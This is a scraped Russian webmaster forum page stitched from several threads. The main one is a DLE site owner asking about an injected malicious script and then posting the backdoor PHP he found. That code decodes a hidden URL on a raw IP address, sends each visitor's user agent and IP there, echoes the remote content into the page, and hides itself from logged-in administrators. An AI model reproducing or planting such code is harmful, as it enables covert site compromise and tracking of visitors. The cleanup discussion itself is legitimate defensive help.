kuts: Здравствуйте, может кто сталкивался с таким. Вставили вредоносный скрипт в самом вверху перед <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">. Не могу найти. Может кто подскажет в каком направлении искать
Тут есть тема по скрипту ai-bolit, попробуйте с его помощью просканировать.
Клиент не устанавливал рекламный формат - vk-message http://wizard-banners.com/banners/formats/vkmesage.html ?
Lat, мой совет не помог насчет класса novosti?
Кстати, у вас внутри span блочные элементы, так нельзя делать.
Попробовал, ничего подозрительного не находит. Только что заметил фишку, что когда залогненный - кода пропадает
---------- Добавлено 28.01.2013 в 14:44 ----------
Нашёл, может кому поможет.
в файле engine/classes/mysgl.php
был прописан:
function showall($id) {
$id = intval($id);
$rtn = $id + date("j");
return $rtn;
}
function sql_safe($in) {
if (showall(64) < 1024) {
$rtn = base64_decode($in);
return $rtn;
}
}
function collectnews($newsid) {
if (date("j") - $newsid > 320 ) {
$rtn = false;
} else {
$get = sql_safe("aHR0cDovLzE5NS4xODkuMjI2LjM2L2dldF9hcGkucGhw")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
if (!isset($_COOKIE[sql_safe("ZGxlX3Bhc3N3b3Jk")])) {
echo @file_get_contents($get);
}
}
}
collectnews (date("j"));
ai-bolit нашел или вручную?
Здравствуйте, может кто сталкивался с таким. Вставили вредоносный скрипт в самом вверху перед <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">. Не могу найти. Может кто подскажет в каком направлении искать
Тут есть тема по скрипту ai-bolit, попробуйте с его помощью просканировать.
Используйте Akeeba Backup чтобы сделать бекап и переустановить.
А эти статьи попадались? Может помогут.
4 способа как создать блоки одинаковой высоты http://habrahabr.ru/post/64173/
«Див» блоки одинаковой высоты http://habrahabr.ru/post/148327/
а подскажите конкретнее, там стоит {short-story}, если просто заменить на имя доп поля, то ничего не добавляется
Добавление дополнительных полей в RSS DLE http://dle-faq.ru/faq/phpquest/1674-dobavlenie-dopolnitelnyh-poley-v-rss-dle.html
Тут свои плейера применяют и то не могут полностью защититься, а с плейером WMA это вообще будет сложно сделать.
Думаю, не менее 2 вмз.
A название функции _go не меняется что ли? И address, а должно быть address2?